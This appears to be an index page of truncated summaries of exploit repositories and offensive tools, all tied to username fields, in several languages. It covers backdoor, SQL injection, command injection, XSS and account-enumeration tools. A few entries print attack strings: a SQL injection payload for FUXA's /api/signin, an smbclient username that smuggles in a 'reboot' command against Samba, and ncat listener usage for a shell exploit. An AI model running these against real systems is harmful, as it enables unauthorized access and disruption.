CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 后门利用 这是一个基于 Python 的漏洞利用脚本，针对 vsftpd 2.3.4 中臭名昭著的后门。一旦触发，它会在 6200 端口打开一个 shell —— 在某些易受攻击的配置中，允许以 root 用户身份执行远程命令。 关于该漏洞 vsftpd 2.3.4 曾被恶意植入后门并公开发布。当在 FTP 登录期间发送包含 : 的用户名时，服务器会悄悄在 6200 端口打开一个 shell。 CVE 编号 ：CVE-2011-2523 受影响软件 ：vsftpd v2.3.4 影响 ：远程代码执行 使用方法...

CVE-2023-31719

CVE-2023-31719 可以通过 HTTP POST 请求向 /api/signin 端点的 JSON 参数 "username" 注入 SQL 代码。 root@kitploit: "username":"test' OR 2891=LIKECHAR65,66,67,68,69,70,71,UPPERHEXRANDOMBLOB500000000/2-- ZJMj","password":"test" 受影响产品名称: FUXA 受影响版本: = 1.1.12 问题: SQL 注入 描述: 可以通过 HTTP POST 请求向 /api/signin 端点的 JSON 参数...

cve-2018-15473

CVE-2018-15473 OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. Install You may need t...

spraykatz

Spraykatz Spray love around the world Index...

CVE-2021-46108

CVE-2021-46108 root@kitploit: ██╗ ██╗███████╗███████╗ ╚██╗██╔╝██╔════╝██╔════╝ ╚███╔╝ ███████╗███████╗ ██╔██╗ ╚════██║╚════██║ ██╔╝ ██╗███████║███████║ ╚═╝ ╚═╝╚══════╝╚══════╝ D-Link路由器DSL-2730E - 存储型跨站脚本 D-Link DSL-2730E CT-20131125设备允许通过维护配置中的密码页面的用户名参数实现XSS。 参考文献...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Exploit RCE para Wing FTP Server Este repositorio proporciona un exploit de prueba de concepto para CVE-2025-47812 , una vulnerabilidad de ejecución remota de comandos RCE en Wing FTP Server. Un atacante puede inyectar y ejecutar comandos arbitrarios del sistema basados en Lua...

unve1ler

インターネット上のデジタルフットプリントと視覚的手がかりを明らかにする。 ユーザー名を使用してシームレスにプロフィールを特定し、便利な逆画像検索機能を提供するように設計されたソーシャルエンジニアリングツールです。 このツールは概念実証であり、教育目的のみで使用されます。...

FUDforum-XSS-RCE

FUDforum-XSS-RCE FUDForum 3.0.9 - XSS / 远程代码执行 CVE-2019-18873, CVE-2019-18839 在 FUDforum 3.0.9 中发现了多个存储型 XSS 漏洞，可能导致远程代码执行。 通过论坛用户名存储型 XSS：信息 | 演示 通过管理面板用户代理存储型 XSS：信息 | 演示...

nuubi

Nuubi Tools Scanner, Recon. Details root@kitploit: Options: -h/--help | Show help message and exit Arguments: -b/--banner | Banner grabing of target ip address -s/--subnet | Subnetlookup of target -c/--cms | Cms detect with headers -d/--dns | Dnslookup of target domain -e/--extract | Extract link...

CVE-2026-85109

A vulnerability was determined in Tenda HG10 300001138. This issue affects the function formLogin of the file /boaform/formLogin of the component Boa Web Server. Executing a manipulation of the argument Username can lead to buffer overflow. The attack may be launched remotely. The exploit has bee...

CVE-2022-39197-POC

CVE-2022-39197-POC English Version README.md 漏洞介绍 根据9.20日CobaltStrike官方发布的最新4.7.1版本的更新日志中介绍， 一位名为“Beichendream”的独立研究人员联系我们，告知我们他们在团队服务器中发现的一个 XSS 漏洞。这将允许攻击者在 Beacon 配置中设置格式错误的用户名，从而允许他们远程执行代码RCE。 POC介绍 目前POC仅可以实现teamserver弹图片。 集成CobaltStrikeParser的分析工具，直接载入payload即可一站式上线 使用方式 详情讲解请见我的博客 参数说明 -i...

Samba-CVE-2007-2447-Exploit

Exploit de Samba CVE-2007-2447 Este es un script de Python para explotar CVE-2007-2447, una vulnerabilidad conocida como ejecución de comandos del 'Username' map script en el servidor Samba. Descripción Este exploit está desarrollado para apuntar a las versiones de Samba 3.x - 4.x. CVE-2007-2447...

ldapnomnom

LDAP Nom Nom こっそりと匿名でActive Directoryのユーザー名を、LDAP PingリクエストcLDAPを（悪）用してドメインコントローラーから驚異的な速度でブルートフォースします 有効な通常のユーザーアカウントを探します。Windows監査ログは生成されません。高速～サーバー1台あたり最大50K/秒 - 複数のサーバーを並列で使用すればそれをはるかに超えます！ ドメイン参加済みマシンの環境変数からDCを自動検出しようとします。またはマシンのホスト名FQDN DNSサフィックスにフォールバックします...

o365enum

Office 365 ユーザー列挙 ActiveSync、Autodiscover、または office.com のログインページを使用して、Office 365 から有効なユーザー名を列挙します。 使用方法 o365enum は、最初のパラメーターとして指定されたファイルからユーザー名を読み取ります。ファイルには1行に1つのユーザー名を記述します。出力はCSV形式で、解析が容易です。有効ステータスは、0（無効なユーザー）、1（有効なユーザー）、2（有効なユーザーかつ有効なパスワード）です。 root@kitploit: python3.6 o365enum.py -h usage:...

EUVD-2026-70468

A vulnerability was determined in Tenda HG10 300001138. This issue affects the function formLogin of the file /boaform/formLogin of the component Boa Web Server. Executing a manipulation of the argument Username can lead to buffer overflow. The attack may be launched remotely. The exploit has bee...

CVE-2026-85109

CVE-2026-85109 affects the Boa Web Server component of the Tenda HG10 (firmware 300001138). The vulnerability resides in the formLogin function within the file /boaform/formLogin. By manipulating the Username argument, an attacker can trigger a buffer overflow . The attack is remote and requires ...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 中 enableuser 函数的无认证命令注入 使用方法： 首先启动一个监听器（ncat -nvlp 1337） 然后运行漏洞利用脚本 示例：exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='用于利用的主机，例如 192.168.1.122:8080', required=True '-l', '--listener-ip', help='监听器 IP', required=True '-p', '--port',...

CVE-2024-35511

PHPGurukul Men Salon Management System 2.0 欢迎使用 PHPGurukul Men Salon Management System 2.0 仓库。本项目旨在为男士沙龙管理提供一个健壮的系统。 安全漏洞 CVE-2024-35511 描述: 通过 'username' 参数存在 SQL 注入漏洞。 受影响版本: 2.0 影响: 攻击者可操纵 'username' 参数，可能获得未授权访问。 解决方案: 实施适当的输入验证并使用参数化查询。...

smb_usermap

smbusermap 一个针对 Samba 3.0.20 中 CVE-2007-2447 漏洞的简单利用程序。 你可以用比这更简单的方式利用此漏洞，例如使用 smbclient，但我认为执行复杂命令比较困难，因为很多特殊字符可能会被过滤掉，但一个简单的命令（本例中是 reboot）可以通过以下方式传入： smbclient -L --user="/=\reboot" -N...

blackbird

Blackbird Blackbird is a powerful OSINT tool that combines fast username and email searches across more than 600 platforms with free AI-powered profiling. By leveraging community-driven projects like WhatsMyName, it ensures low false positive rates and high-quality results. Features include smart...